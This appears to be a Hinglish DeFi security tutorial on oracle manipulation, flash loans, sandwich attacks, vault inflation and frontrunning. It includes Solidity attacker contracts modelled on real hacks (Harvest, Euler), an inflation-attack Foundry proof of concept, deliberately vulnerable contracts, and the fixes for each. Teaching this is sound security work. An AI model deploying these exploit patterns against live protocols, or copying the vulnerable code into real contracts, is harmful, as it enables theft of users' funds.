Classic Vulnerabilities Part 2: Oracle Manipulation, Flash Loans & Price Attacks

Oracle kya hai?
→ Off-chain data → On-chain laana!
→ ETH price, BTC price, asset prices
→ DeFi protocols ke liye essential!

Oracle types:

1. Spot Price (On-chain):
   → Uniswap getReserves()
   → Instant snapshot
   → MANIPULABLE! 🚨

2. TWAP (Time-Weighted Average):
   → Time-weighted average
   → Multiple blocks average
   → Partial protection!

3. Chainlink (Off-chain):
   → Decentralized oracle network
   → Multiple data sources
   → Tamper resistant ✅
   → Lekin: Staleness + heartbeat issues!

4. Pyth Network:
   → High frequency updates
   → Pull-based oracle
   → New generation!

Security Rule:
NEVER use spot price for financial decisions!

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// ─── VULNERABLE LENDING PROTOCOL ──────────

contract SpotPriceLending {

    IUniswapV2Pair public pair;
    // ETH/USDC pair

    mapping(address => uint256) public collateral;
    // in tokens

    mapping(address => uint256) public debt;
    // in USDC

    uint256 constant LTV = 7500; // 75%

    // ⚠️ SPOT PRICE FROM UNISWAP!
    function getTokenPrice()
        public view returns (uint256)
    {
        (uint112 r0, uint112 r1,) =
            pair.getReserves();
        // r0 = TOKEN, r1 = USDC
        return uint256(r1) * 1e18 / uint256(r0);
        // 🚨 Flash loan se manipulable!
    }

    function depositCollateral(
        uint256 amount
    ) external {
        collateralToken.transferFrom(
            msg.sender, address(this), amount
        );
        collateral[msg.sender] += amount;
    }

    function borrow(
        uint256 usdcAmount
    ) external {
        uint256 price    = getTokenPrice();
        uint256 colValue =
            collateral[msg.sender] * price / 1e18;
        uint256 maxBorrow = colValue * LTV / 10000;

        require(
            debt[msg.sender] + usdcAmount <= maxBorrow,
            "Exceeds LTV"
        );

        debt[msg.sender] += usdcAmount;
        USDC.transfer(msg.sender, usdcAmount);
        // 🚨 Price manipulable = Borrow too much!
    }
}

// ─── ATTACKER CONTRACT ────────────────────

contract SpotPriceAttacker {

    SpotPriceLending target;
    IUniswapV2Pair   pair;
    IUniswapV2Router router;

    IERC20 token;
    IERC20 USDC;
    IFlashLender lender;

    function attack() external {
        // Step 1: Flash loan massive USDC
        uint256 flashAmount = 10_000_000e6;
        lender.flashLoan(
            address(this),
            address(USDC),
            flashAmount,
            ""
        );
    }

    function onFlashLoan(
        address, address token_,
        uint256 amount, uint256 fee,
        bytes calldata
    ) external returns (bytes32) {

        // Step 2: Buy TOKEN with USDC
        // Token price SPIKES!
        USDC.approve(address(router), amount / 2);
        router.swapExactTokensForTokens(
            amount / 2,
            0,
            getPath(address(USDC), address(token)),
            address(this),
            block.timestamp
        );
        // TOKEN price: $1 → $10 (10x spike!)

        // Step 3: Deposit small TOKEN collateral
        uint256 myTokens = 1000e18;
        token.approve(address(target), myTokens);
        target.depositCollateral(myTokens);

        // Step 4: Borrow against inflated price!
        // Normal: 1000 tokens * $1 * 75% = $750
        // Now:    1000 tokens * $10 * 75% = $7500!
        target.borrow(7000e6); // $7000 USDC!

        // Step 5: Sell TOKEN (price crashes back)
        router.swapExactTokensForTokens(
            token.balanceOf(address(this)),
            0,
            getPath(address(token), address(USDC)),
            address(this),
            block.timestamp
        );

        // Step 6: Repay flash loan
        USDC.transfer(msg.sender, amount + fee);

        // Net profit: $7000 - fees!
        // Target has: $7000 bad debt + worthless collateral
        return keccak256("ERC3156FlashBorrower.onFlashLoan");
    }
}

// TWAP = Not fully safe either!
// Short TWAP = Manipulable with sustained pressure!

contract TWAPBypassAttack {

    // TWAP period = 10 minutes (600 seconds)
    // Attacker can manipulate price for 10+ minutes!

    function manipulateTWAP() external {
        // Strategy: Trade every block for 10+ min!
        // Cost: Gas + Price impact per trade
        // Benefit: If borrow amount > cost → Profit!

        // Example:
        // TWAP period = 10 min
        // Ethereum block = 12 sec
        // Blocks needed = 600/12 = 50 blocks

        // For each block:
        // Buy TOKEN → Price goes up
        // Sell at end: Price crashes

        // If TWAP period short:
        // Manipulation cost < Borrow profit
        // → Attack profitable!

        // Lessons:
        // TWAP period must be LONG (hours not minutes!)
        // Chainlink better for high-value operations!
    }
}

// ─── Chainlink Staleness Bug ──────────────

contract ChainlinkStaleness {

    AggregatorV3Interface priceFeed;

    // ⚠️ No staleness check!
    function getPriceBug()
        external view returns (uint256)
    {
        (
            uint80 roundId,
            int256 price,
            uint256 startedAt,
            uint256 updatedAt,
            uint80 answeredInRound
        ) = priceFeed.latestRoundData();

        return uint256(price);
        // 🚨 Price could be hours/days old!
        // Network outage, oracle issues
        // Stale price = Wrong financial decisions!
    }

    // ✅ Correct: With all checks!
    function getPriceSafe()
        external view returns (uint256)
    {
        (
            uint80 roundId,
            int256 price,
            ,
            uint256 updatedAt,
            uint80 answeredInRound
        ) = priceFeed.latestRoundData();

        // Staleness check:
        require(
            block.timestamp - updatedAt < 3600,
            "Stale price!"
        );
        // ↑ 1 hour max staleness!

        // Round completeness:
        require(
            answeredInRound >= roundId,
            "Round incomplete!"
        );

        // Positive price:
        require(price > 0, "Invalid price!");

        return uint256(price);
    }
}

// Oracle price update frontrun!
// Chainlink update pending → Attacker acts first!

contract OracleFrontrun {

    // Scenario:
    // ETH price = $2000 (current oracle)
    // Real ETH price = $1800 (crashed!)
    // Chainlink update pending in mempool!

    // Attacker sees pending oracle TX:
    // 1. Deposit ETH collateral (at $2000 value)
    // 2. Borrow maximum ($1500 USDC @ 75% LTV)
    // 3. Oracle updates to $1800
    // 4. Position now undercollateralized!
    // 5. Attacker: Walk away with USDC!
    //    Protocol: Bad debt!

    // Fix: No silver bullet!
    // → Circuit breakers (price deviation limit)
    // → Position size limits
    // → Gradual oracle updates
    // → Deposit cooldown
}

Flash Loan = DeFi mein nuclear weapon!
No capital needed!
Millions in 1 transaction!

Providers:
→ Aave: $XXX million available
→ Uniswap V3: Token pools
→ Balancer: Multiple tokens
→ dYdX: ETH, USDC, DAI
→ Euler: (before hack!)

Cost:
→ Aave: 0.09% fee
→ Uniswap V3: Pool fee (0.01-1%)
→ Balancer: 0% (in some cases!)

Attack anatomy:
1. Flash loan (millions)
2. Manipulate state/price
3. Exploit vulnerability
4. Extract profit
5. Repay loan + fee
All in ONE transaction!

// Harvest Finance Hack — October 2020
// $34 million stolen
// Repeated 17 times in 7 minutes!

contract HarvestStyleAttack {

    // Harvest's USDC vault used Curve USDC price
    // Attacker:
    // 1. Flash loan massive USDC
    // 2. Curve pool mein USDT buy (USDC sell)
    //    → USDC price drops in Curve
    // 3. Harvest vault mein deposit at LOW price
    //    (Get MORE fUSDC shares than deserved!)
    // 4. Reverse Curve trade
    //    → USDC price normalizes
    // 5. Harvest vault se withdraw at NORMAL price
    //    (More USDC than deposited!)
    // 6. Repay flash loan
    // Profit per round: ~$400K
    // Repeated 17 times = $34M!

    IFlashLender  aave;
    ICurvePool     curve;
    IHarvestVault  harvestVault;
    IERC20         USDC;
    IERC20         USDT;

    function attack(uint256 rounds) external {
        for (uint i = 0; i < rounds; i++) {
            _singleRound();
        }
    }

    function _singleRound() internal {
        uint256 flashAmount = 50_000_000e6; // $50M USDC

        aave.flashLoan(
            address(this),
            address(USDC),
            flashAmount,
            abi.encode(flashAmount)
        );
    }

    function executeOperation(
        address,
        uint256 amount,
        uint256 premium,
        address,
        bytes calldata data
    ) external returns (bool) {

        // 1. Dump USDC in Curve → Price drops:
        USDC.approve(address(curve), amount * 60 / 100);
        curve.exchange(
            0,   // USDC index
            1,   // USDT index
            amount * 60 / 100,
            0
        );
        // USDC/USDT ratio now imbalanced!
        // USDC "cheap" in Curve terms

        // 2. Deposit into Harvest vault:
        // Vault calculates share price using Curve!
        // USDC appears cheap → More shares issued!
        uint256 depositAmount = amount * 30 / 100;
        USDC.approve(
            address(harvestVault),
            depositAmount
        );
        uint256 sharesReceived =
            harvestVault.deposit(depositAmount);

        // 3. Reverse Curve trade:
        uint256 usdtBal = USDT.balanceOf(address(this));
        USDT.approve(address(curve), usdtBal);
        curve.exchange(1, 0, usdtBal, 0);
        // USDC price normalized!

        // 4. Withdraw from Harvest at normal price:
        harvestVault.withdraw(sharesReceived);
        // More USDC than deposited!

        // 5. Repay Aave:
        USDC.transfer(
            address(aave),
            amount + premium
        );

        return true;
    }
}

// Euler Finance Hack — March 2023
// $197 million!
// Root cause: donateToReserves() + health check bypass

contract EulerStyleAttack {

    IEulerMarkets  markets;
    IEulerDToken   dToken;  // Debt token
    IEulerEToken   eToken;  // Collateral token
    IFlashLender   lender;
    IERC20         underlying;

    // The vulnerability:
    // donateToReserves() reduced eToken balance
    // BUT didn't check health factor after!
    // This created an "underwater" position
    // That could be self-liquidated for bonus!

    function attack() external {
        uint256 flashAmount = 30_000_000e18;
        lender.flashLoan(
            address(this),
            address(underlying),
            flashAmount,
            ""
        );
    }

    function onFlashLoan(
        address, address,
        uint256 amount,
        uint256 fee,
        bytes calldata
    ) external returns (bytes32) {

        // 1. Deposit into Euler:
        underlying.approve(
            address(markets), amount
        );
        markets.enterMarket(0, address(underlying));
        eToken.deposit(0, amount);
        // Got eTokens (collateral)

        // 2. Borrow 10x leverage:
        dToken.borrow(0, amount * 10);
        // Euler allows leverage via mint()

        // 3. donateToReserves() — THE BUG:
        // Donate some eTokens to reserve
        // This reduces YOUR collateral
        // Making position underwater!
        eToken.donateToReserves(
            0, amount * 10
        );
        // ⚠️ No health check after this!
        // Position: Huge debt, little collateral
        // = Violator position created!

        // 4. Self-liquidate:
        // Deploy separate liquidator contract
        // Liquidator repays small debt
        // Gets huge collateral bonus!
        // (10% bonus on liquidation)

        // Net: Borrow $200M worth,
        //      self-liquidate, keep bonus!

        underlying.transfer(
            msg.sender, amount + fee
        );
        return keccak256("...");
    }
}

Sandwich Attack kya hai?
→ MEV (Miner Extractable Value) attack
→ User ki transaction "sandwich" mein pakad lo!

Steps:
1. See victim's pending swap in mempool
2. Front-run: Same swap but higher gas
   (Execute BEFORE victim)
3. Victim's swap executes (worse price)
4. Back-run: Reverse swap (Execute AFTER victim)
5. Profit from victim's price impact!

Example:
Victim: 100 ETH → USDC at $2000
         (slippage 1% = min $198,000)

Attacker:
1. Front-run: Buy ETH (price $2000→$2020)
2. Victim's TX: Gets USDC at $2020 (worse!)
   (Victim loses ~$2000 to sandwich!)
3. Back-run: Sell ETH at $2020
   Attacker profit ≈ $2000!

Every. Single. Day.
Millions stolen from DeFi users!
// ─── VULNERABLE SWAP ──────────────────────

contract VulnerableSwap {

    IUniswapV2Router router;

    // ⚠️ amountOutMin = 0!
    // No slippage protection!
    function swapBug(
        uint256 amountIn,
        address[] calldata path
    ) external {
        IERC20(path[0]).transferFrom(
            msg.sender,
            address(this),
            amountIn
        );
        IERC20(path[0]).approve(
            address(router),
            amountIn
        );

        router.swapExactTokensForTokens(
            amountIn,
            0,          // ⚠️ ZERO minimum output!
            path,
            msg.sender,
            block.timestamp
        );
        // 🚨 Sandwich attack = 100% price impact!
        // Attacker front-runs, victim gets nothing!
    }

    // ✅ Safe swap with slippage:
    function swapSafe(
        uint256 amountIn,
        uint256 amountOutMin,  // ← User sets minimum!
        address[] calldata path,
        uint256 deadline       // ← TX expiry!
    ) external {
        require(
            block.timestamp <= deadline,
            "Expired!"
        );

        IERC20(path[0]).transferFrom(
            msg.sender, address(this), amountIn
        );
        IERC20(path[0]).approve(
            address(router), amountIn
        );

        router.swapExactTokensForTokens(
            amountIn,
            amountOutMin,  // ← Minimum enforced!
            path,
            msg.sender,
            deadline
        );
        // If sandwich attack tries:
        // Victim's slippage = Exceeded!
        // TX reverts! Attacker loses gas!
    }
}

// ─── SANDWICH ATTACKER ────────────────────

contract SandwichBot {

    // This is what MEV bots do!

    function sandwich(
        bytes calldata victimTx,
        uint256 frontAmount
    ) external {
        // 1. Front-run transaction:
        _frontRun(frontAmount);

        // 2. Victim transaction executes
        //    (Not directly callable, just timing!)

        // 3. Back-run:
        _backRun();
    }

    function _frontRun(
        uint256 amount
    ) internal {
        // Buy before victim
        // Higher gas price!
        router.swapExactTokensForTokens(
            amount, 0, path,
            address(this),
            block.timestamp
        );
    }

    function _backRun() internal {
        // Sell after victim
        uint256 bal = token.balanceOf(address(this));
        router.swapExactTokensForTokens(
            bal, 0, reversePath,
            address(this),
            block.timestamp
        );
        // Profit from price impact!
    }
}

Also called: ERC-4626 Inflation Attack
             First Depositor Attack
             Share Price Manipulation

Target: Token vaults (yield, lending)
Tool: Direct token donation
Goal: Inflate share price → Steal victim deposits

Classic setup:
1. Attacker = First depositor
2. Deposit 1 wei → Get 1 share
3. Donate tokens directly to vault
   (token.transfer(vault, 1000e18))
4. 1 share now worth 1000e18 tokens!
5. Victim deposits → Gets 0 shares! (rounding)
6. Attacker withdraws 1 share
   → Gets victim's funds too!
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// ─── VULNERABLE VAULT ─────────────────────

contract InflationVulnerableVault {

    IERC20  public token;
    uint256 public totalShares;

    mapping(address => uint256) public shares;

    function totalAssets() public view
        returns (uint256)
    {
        return token.balanceOf(address(this));
        // ⚠️ Direct balance = Donation manipulable!
    }

    function deposit(
        uint256 assets
    ) external returns (uint256 sharesOut) {

        if (totalShares == 0) {
            sharesOut = assets;
            // ⚠️ No minimum liquidity lock!
        } else {
            sharesOut = assets
                        * totalShares
                        / totalAssets();
            // ↑ If totalAssets hugely inflated:
            // sharesOut rounds to 0!
        }

        require(sharesOut > 0, "Zero shares");
        // ↑ Won't save victim!
        // Victim gets exactly 0 → Reverts!
        // But attacker already owns everything!

        token.transferFrom(
            msg.sender, address(this), assets
        );
        shares[msg.sender] += sharesOut;
        totalShares         += sharesOut;
    }

    function withdraw(
        uint256 sharesIn
    ) external returns (uint256 assets) {
        assets = sharesIn
                 * totalAssets()
                 / totalShares;

        shares[msg.sender] -= sharesIn;
        totalShares         -= sharesIn;
        token.transfer(msg.sender, assets);
    }
}

// ─── ATTACK ───────────────────────────────

contract InflationAttacker {

    InflationVulnerableVault vault;
    IERC20 token;

    constructor(
        address _vault,
        address _token
    ) {
        vault = InflationVulnerableVault(_vault);
        token = IERC20(_token);
    }

    function attack(
        uint256 victimExpectedDeposit
    ) external {

        console.log("=== INFLATION ATTACK ===");

        // Step 1: Deposit 1 wei
        token.approve(address(vault), type(uint256).max);
        vault.deposit(1);

        console.log("Attacker shares:", 1);
        console.log("Vault assets:", 1);

        // Step 2: Donate large amount directly!
        // NOT via deposit — bypass share calculation!
        token.transfer(
            address(vault),
            victimExpectedDeposit - 1
        );
        // Now: 1 share = victimExpectedDeposit assets!

        console.log(
            "After donation, vault assets:",
            token.balanceOf(address(vault))
        );
        console.log("1 share worth:",
            vault.totalAssets() / vault.totalShares()
        );

        // Step 3: Victim tries to deposit:
        // victimDeposit * 1 / victimExpectedDeposit
        // = 0 (integer division!)
        // Victim gets 0 shares → TX reverts!
        // OR if check missing → Loses funds!
    }

    function extractProfit() external {
        // Withdraw 1 share = Get everything!
        uint256 totalAssets = vault.totalAssets();
        vault.withdraw(1);

        console.log("Attacker got:", totalAssets);
    }
}

// ─── FOUNDRY POC ──────────────────────────

contract InflationAttackTest is Test {

    InflationVulnerableVault vault;
    MockERC20 token;
    InflationAttacker attacker;

    address alice  = makeAddr("alice");
    address hacker = makeAddr("hacker");

    function setUp() public {
        token   = new MockERC20();
        vault   = new InflationVulnerableVault(
            address(token)
        );
        attacker = new InflationAttacker(
            address(vault),
            address(token)
        );

        // Give tokens:
        token.mint(hacker, 2000e18);
        token.mint(alice,  1000e18);
    }

    function test_inflationAttack() public {

        // Hacker executes attack:
        vm.startPrank(hacker);
        token.transfer(address(attacker), 2000e18);
        attacker.attack(1000e18);
        vm.stopPrank();

        // Alice tries to deposit 1000e18:
        vm.startPrank(alice);
        token.approve(address(vault), 1000e18);

        vm.expectRevert("Zero shares");
        vault.deposit(1000e18);
        // Alice can't deposit!
        vm.stopPrank();

        console.log("Alice's deposit blocked!");
        console.log(
            "Vault held hostage by attacker's 1 share"
        );
    }
}

// ─── FIXES ────────────────────────────────

// Fix 1: Virtual assets/shares (ERC-4626 standard)
contract FixedVault {

    uint256 constant VIRTUAL_SHARES = 1e8;
    uint256 constant VIRTUAL_ASSETS = 1;
    // ↑ "Pre-seed" the vault virtually!
    // Makes 1-wei attack economically unviable!

    function totalAssets() public view
        returns (uint256)
    {
        return token.balanceOf(address(this))
               + VIRTUAL_ASSETS;
    }

    function convertToShares(
        uint256 assets
    ) public view returns (uint256) {
        return assets
               * (totalShares + VIRTUAL_SHARES)
               / totalAssets();
        // Virtual amounts make inflation attack
        // require enormous capital to execute!
    }
}

// Fix 2: Minimum liquidity lock
uint256 constant MIN_LIQUIDITY = 1000;

if (totalShares == 0) {
    sharesOut = assets - MIN_LIQUIDITY;
    // Lock MIN_LIQUIDITY shares permanently!
    shares[address(0)] += MIN_LIQUIDITY;
    totalShares         += MIN_LIQUIDITY;
    // Makes 1-wei first deposit attack impossible!
}

// Fix 3: Internal balance tracking
// Don't use token.balanceOf(address(this))!
// Track deposits internally!
uint256 internal _totalTrackedAssets;

function deposit(uint256 assets) external {
    // Calculate BEFORE transfer:
    sharesOut = assets * totalShares
                / _totalTrackedAssets;
    // Internal tracking = Immune to donations!
    _totalTrackedAssets += assets;
    token.transferFrom(msg.sender, address(this), assets);
}

Frontrunning categories:

1. Pure Frontrunning:
   Copy victim's TX, higher gas
   Execute before victim

2. Displacement:
   Replace victim's TX completely
   Attacker takes the opportunity

3. Suppression/Griefing:
   Fill blocks with TXs
   Prevent victim's TX from executing

4. Back-running:
   Execute AFTER specific TX
   (Oracle update, large swap)

5. Sandwich (covered earlier):
   Front + Back run combined
// ─── Frontrunnable Patterns ───────────────

// Pattern 1: NFT Minting Race
contract FrontrunnableMint {

    mapping(uint256 => address) public owners;
    uint256 public nextId;

    // ⚠️ First come first serve on-chain!
    function mint(uint256 desiredId) external {
        require(owners[desiredId] == address(0));
        // ↑ Frontrunner sees this in mempool!
        // Higher gas → Gets desired ID first!
        owners[desiredId] = msg.sender;
    }

    // ✅ Fix: Commit-reveal scheme!
    mapping(address => bytes32) public commits;

    function commit(bytes32 hash) external {
        commits[msg.sender] = hash;
        // hash = keccak256(desiredId + secret)
    }

    function reveal(
        uint256 desiredId,
        bytes32 secret
    ) external {
        require(
            commits[msg.sender] ==
            keccak256(abi.encodePacked(
                desiredId, secret
            ))
        );
        require(owners[desiredId] == address(0));
        owners[desiredId] = msg.sender;
    }
}

// Pattern 2: Approve + TransferFrom Race
contract ApproveRace {

    // ⚠️ Classic ERC-20 approval race!
    // Scenario:
    // 1. Alice approves Bob for 100 tokens
    // 2. Alice changes to 50 tokens
    // 3. Bob frontruns step 2:
    //    - Uses 100 (before change)
    //    - After change: Approves again 50
    //    - Uses 50 again!
    //    - Total: 150 tokens stolen!

    // ✅ Fix: Increase/Decrease allowance
    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) external {
        allowances[msg.sender][spender] += addedValue;
        // No race condition!
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) external {
        allowances[msg.sender][spender] -= subtractedValue;
    }
}

// Pattern 3: Oracle Update Frontrunning
contract OracleFrontrunnable {

    uint256 public price;
    address public oracle;

    // ⚠️ Price update frontrunnable!
    function updatePrice(
        uint256 newPrice
    ) external {
        require(msg.sender == oracle);

        // Old price: $2000
        // New price: $1800 (crash!)
        // Attacker sees this TX pending:
        // 1. Borrow maximum at $2000 collateral
        // 2. Price updates to $1800
        // 3. Position underwater → Walk away!

        price = newPrice;
    }

    // ✅ Fix: Price deviation check
    uint256 constant MAX_DEVIATION = 500; // 5%

    function updatePriceSafe(
        uint256 newPrice
    ) external {
        require(msg.sender == oracle);

        uint256 deviation;
        if (newPrice > price) {
            deviation = (newPrice - price)
                        * 10000 / price;
        } else {
            deviation = (price - newPrice)
                        * 10000 / price;
        }

        require(
            deviation <= MAX_DEVIATION,
            "Price deviation too high!"
        );
        // ↑ Gradual price changes only!
        // Single block can't crash price 50%!

        price = newPrice;
    }
}

Mango Markets — October 2022
Attacker: Avraham Eisenberg
Amount: $117 million
Method: Oracle price manipulation

Platform: Solana (but same concepts!)
Token: MNGO (Mango's governance token)

Attack steps:

1. Preparation:
   Two accounts prepared
   Account A: Long MNGO futures (buy)
   Account B: Short MNGO futures (sell)
   Net position: Neutral (no risk!)

2. Price manipulation:
   Account A buys massive MNGO
   MNGO price: $0.03 → $0.91 (30x!)
   Low liquidity token = Easy manipulation!

3. Exploit:
   Account A now has HUGE unrealized profit
   (On paper: $500M+ collateral value!)
   Borrows ALL available assets from Mango:
   USDC, SOL, BTC, ETH — everything!

4. Walk away:
   Account B's short position = Worthless
   (Insurance doesn't cover this)
   Mango's treasury depleted!
   $117M gone!

Attacker's defense (he said publicly):
"I engaged in a highly profitable trading strategy"
"It was legal market manipulation" (???!)
Later arrested by FBI anyway!

Lessons:
→ Oracle manipulation with own protocol token
→ Low liquidity tokens = Easy manipulation
→ Position size limits needed!
→ Borrow limits relative to pool size!
// Mango-style conceptual vulnerability:

contract MangoStyleProtocol {

    struct Position {
        uint256 collateralValue;
        uint256 debtValue;
    }

    mapping(address => Position) positions;

    // ⚠️ Uses spot price of native token!
    function getCollateralValue(
        address user
    ) public view returns (uint256) {
        uint256 mngoBalance = positions[user]
            .collateralValue;

        // MNGO spot price from DEX:
        uint256 mngoPrice = getMNGOSpotPrice();
        // ↑ MANIPULABLE!

        return mngoBalance * mngoPrice / 1e18;
    }

    // ⚠️ No borrow cap!
    function borrow(
        address token,
        uint256 amount
    ) external {
        uint256 colValue =
            getCollateralValue(msg.sender);

        require(
            amount <= colValue * 75 / 100,
            "Exceeds LTV"
        );

        // ⚠️ No check: Is total pool depleted?
        // Single user can borrow everything!
        IERC20(token).transfer(msg.sender, amount);
    }

    // ✅ Fixes:
    // 1. Borrow cap per user:
    uint256 constant MAX_BORROW_PERCENT = 10;
    // Max 10% of pool per user!

    // 2. Use TWAP not spot:
    function getSafeMNGOPrice()
        internal view returns (uint256)
    {
        return twapOracle.getPrice(MNGO);
        // Time-weighted = Harder to manipulate!
    }

    // 3. Low liquidity token restrictions:
    uint256 constant MIN_LIQUIDITY_THRESHOLD =
        1_000_000e18;
    // Token must have $1M+ liquidity
    // to be used as collateral!
}

// ─── Defense 1: Pull Payment Pattern ──────

contract PullPayment {

    mapping(address => uint256)
        public pendingReturns;

    // Don't push ETH → User pulls!
    function withdraw() external {
        uint256 amount = pendingReturns[msg.sender];
        require(amount > 0);

        pendingReturns[msg.sender] = 0;
        // ↑ Zero first!

        payable(msg.sender).transfer(amount);
        // Even if attacker, no reentrancy advantage!
    }
}

// ─── Defense 2: Price Circuit Breaker ─────

contract PriceCircuitBreaker {

    uint256 public lastPrice;
    uint256 public lastUpdateTime;
    uint256 constant MAX_CHANGE = 1000; // 10%
    uint256 constant COOLDOWN   = 1 hours;

    function updatePrice(
        uint256 newPrice
    ) external onlyOracle {
        require(
            block.timestamp >= lastUpdateTime
            + COOLDOWN,
            "Too frequent!"
        );

        uint256 change;
        if (newPrice > lastPrice) {
            change = (newPrice - lastPrice)
                     * 10000 / lastPrice;
        } else {
            change = (lastPrice - newPrice)
                     * 10000 / lastPrice;
        }

        require(change <= MAX_CHANGE, "Circuit breaker!");

        lastPrice      = newPrice;
        lastUpdateTime = block.timestamp;
    }
}

// ─── Defense 3: Flash Loan Detection ──────

contract FlashLoanDetector {

    mapping(address => uint256)
        public depositBlock;

    function deposit() external {
        depositBlock[msg.sender] = block.number;
    }

    modifier noFlashLoan() {
        require(
            depositBlock[msg.sender] < block.number,
            "Flash loan detected!"
        );
        _;
    }

    function sensitiveAction()
        external noFlashLoan
    {
        // Flash loan = Deposit + Action same block
        // This modifier prevents it!
    }
}

// ─── Defense 4: Minimum Liquidity ─────────

contract MinimumLiquidity {

    uint256 constant MINIMUM_LIQUIDITY = 1e3;

    bool private _initialized;

    function initialize() external {
        require(!_initialized);
        _initialized = true;

        // Burn minimum liquidity:
        _mint(address(0), MINIMUM_LIQUIDITY);
        // address(0) = Dead address
        // These shares NEVER redeemable!
        // Inflation attack needs more capital!
    }
}

// ─── Defense 5: Commit-Reveal ─────────────

contract CommitReveal {

    mapping(address => bytes32) public commits;
    mapping(address => uint256) public commitBlock;

    uint256 constant REVEAL_WINDOW = 10; // blocks

    function commit(bytes32 hash) external {
        commits[msg.sender]     = hash;
        commitBlock[msg.sender] = block.number;
    }

    function reveal(
        uint256 value,
        bytes32 salt
    ) external {
        require(
            block.number > commitBlock[msg.sender],
            "Same block!"
        );
        require(
            block.number <= commitBlock[msg.sender]
            + REVEAL_WINDOW,
            "Expired!"
        );
        require(
            commits[msg.sender] ==
            keccak256(abi.encodePacked(value, salt)),
            "Hash mismatch!"
        );

        _processValue(value, msg.sender);
    }
}

Oracle Manipulation Hacks:
┌─────────────────┬──────────┬──────────────────────┐
│ Protocol        │ Amount   │ Method               │
├─────────────────┼──────────┼──────────────────────┤
│ Harvest Finance │ $34M     │ Curve price manip    │
│ Cream Finance   │ $130M    │ Spot price oracle    │
│ Mango Markets   │ $117M    │ Native token manip   │
│ Beanstalk       │ $182M    │ Governance + oracle  │
│ Euler Finance   │ $197M    │ donateToReserves     │
│ Platypus        │ $8.5M    │ Pool price manip     │
└─────────────────┴──────────┴──────────────────────┘

Flash Loan Attacks:
┌─────────────────┬──────────┬──────────────────────┐
│ Protocol        │ Amount   │ Method               │
├─────────────────┼──────────┼──────────────────────┤
│ PancakeBunny    │ $45M     │ Flash + price manip  │
│ Alpha Homora    │ $37M     │ Flash + reentrancy   │
│ Voltage Finance │ $4M      │ Flash + callback     │
│ Deus Finance    │ $13.4M   │ Flash + oracle       │
└─────────────────┴──────────┴──────────────────────┘

Common Defense Summary:
┌───────────────────────┬────────────────────────────┐
│ Attack                │ Defense                    │
├───────────────────────┼────────────────────────────┤
│ Spot price oracle     │ TWAP / Chainlink           │
│ Flash loan            │ Same-block protection      │
│ Sandwich              │ Slippage + deadline        │
│ Donation/Inflation    │ Virtual assets / Min liq   │
│ Oracle frontrun       │ Circuit breaker            │
│ Approval race         │ increase/decreaseAllowance │
│ NFT mint race         │ Commit-reveal              │
└───────────────────────┴────────────────────────────┘

🔮 Oracle Manipulation:
   Spot price = NEVER use for financial decisions!
   TWAP = Better but short periods manipulable!
   Chainlink = Best but staleness check needed!

   Attack: Flash loan → Swap → Price spike
           → Borrow at wrong price → Profit!

   Fix:
   → Chainlink with staleness check
   → TWAP minimum 1 hour period
   → Price deviation circuit breaker

⚡ Flash Loan Attacks:
   No capital needed!
   Millions available instantly!

   Anatomy:
   Flash loan → Manipulate → Exploit → Repay

   Real hacks:
   Harvest $34M, Cream $130M, Euler $197M!

   Fix:
   → Don't use manipulable oracles!
   → Same-block deposit protection
   → Reentrancy guards

🥪 Sandwich Attacks:
   Frontrun + Backrun victim's swap!
   Billions stolen from DeFi users!

   Fix:
   → amountOutMin parameter (never 0!)
   → Deadline parameter
   → Private mempool (Flashbots)

💰 Donation/Inflation:
   First depositor → 1 wei
   Donate directly → Inflate share price
   Victim → 0 shares!

   Fix:
   → Virtual assets (ERC-4626)
   → MINIMUM_LIQUIDITY burn
   → Internal balance tracking

🏃 Frontrunning:
   Pure / Displacement / Suppression
   Sandwich / Back-running

   Fix:
   → Commit-reveal schemes
   → Slippage protection
   → Private transactions

Mango Markets hack ke baad
Avraham Eisenberg ne Twitter pe likha:

"I believe all of our actions were legal."

Phir FBI ne usse arrest kiya.
Wire fraud. Commodities manipulation.

Lesson yeh nahi ki "crime pays" ya nahi.

Lesson yeh hai:

Protocol mein bug tha.
Oracle manipulable thi.
Borrow caps nahi the.
Low liquidity token = collateral.

Yeh sab PREVENTABLE tha!

Ek security researcher ne
pre-launch yeh dhundha hota toh:
→ $XXX,000 bounty
→ $117M saved
→ Hundreds of users protected!

Difference:
Attacker = Criminal + FBI
Researcher = Hero + Bounty

Same knowledge, different intent!

Tum researchers ho!
Yeh knowledge + right intent =
Web3 ko safer banana!

Aur haan — bounty bhi milti hai! 😄

Abhi tak 20 articles complete ho gaye!
Foundation solid hai!

Agle phase mein:
Advanced attack vectors!
Yahan real bounty territory shuru hoti hai!